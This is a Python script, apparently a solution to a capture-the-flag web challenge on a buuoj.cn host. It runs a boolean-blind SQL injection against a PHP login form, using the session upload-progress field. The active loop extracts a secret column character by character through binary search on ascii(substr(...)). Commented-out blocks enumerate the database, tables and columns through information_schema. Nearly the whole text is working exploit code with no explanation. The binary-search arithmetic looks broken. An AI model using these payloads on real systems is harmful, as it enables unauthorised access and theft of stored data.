1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| import requests import time url = "http://6a742e0c-c6b0-49a3-b626-f5f0578d17f1.node3.buuoj.cn/templates/login.php" files = {"file": "123456789"} '''字段值''' flag='' for i in range(1,100): low = 32 high = 128 mid = (low+high) while (low < high): time.sleep(0.06) # payload_flag ={'username': "test\" or (ascii(substr((select group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),'password': 'test'} payload_flag = { 'username': "test\" or (ascii(substr((select group_concat(secret) from flag_tbl ),{0},1))>{1}) #".format(i,mid),'password': 'test'} r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, cookies={"PHPSESSID": "test1"}) print(payload_flag) if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text: low = mid +1 else: high = mid mid = (low + high) if(mid==32 or mid == 132): break flag +=chr(mid) print(flag) print(flag) # column='' # for i in range(1,100): # low = 32 # high = 128 # mid = (low+high) # while (low < high): # time.sleep(0.06) # payload_column ={'username': "test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'flag_tbl\' ),{0},1))>{1}) #".format(i, mid),'password': 'test'} # r = requests.post(url=url,params=payload_column,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, # cookies={"PHPSESSID": "test1"}) # # print(payload_column) # if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text: # low = mid +1 # else: # high = mid # mid = (low + high) # if(mid==32 or mid == 132): # break # column +=chr(mid) # print(column) # # print(column) # '''表名''' # table='' # for i in range(1,100): # low = 32 # high = 128 # mid = (low+high) # while (low < high): # time.sleep(0.06) # payload_table ={'username': 'test" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\'ptbctf\'),{0},1))>{1}) #'.format(i, mid),'password': 'test'} # r = requests.post(url=url,params=payload_table,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, # cookies={"PHPSESSID": "test1"}) # print(payload_table) # if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text: # low = mid +1 # else: # high = mid # mid = (low + high) # if(mid==32 or mid == 132): # break # table+=chr(mid) # print(table) # # print(table) # '''数据库名''' # database='' # for i in range(1,100): # low = 32 # high = 128 # mid = (low+high) # while (low < high): # time.sleep(0.06) # payload_database ={'username': 'test" or (ascii(substr((select database()),{0},1))>{1}) #'.format(i, mid),'password': 'test'} # r = requests.post(url=url,params=payload_database,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, # cookies={"PHPSESSID": "test1"}) # print(payload_database) # if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text: # low = mid +1 # else: # high = mid # mid = (low + high) # if(mid==32 or mid == 132): # break # database+=chr(mid) # print(database) # # print(database)
|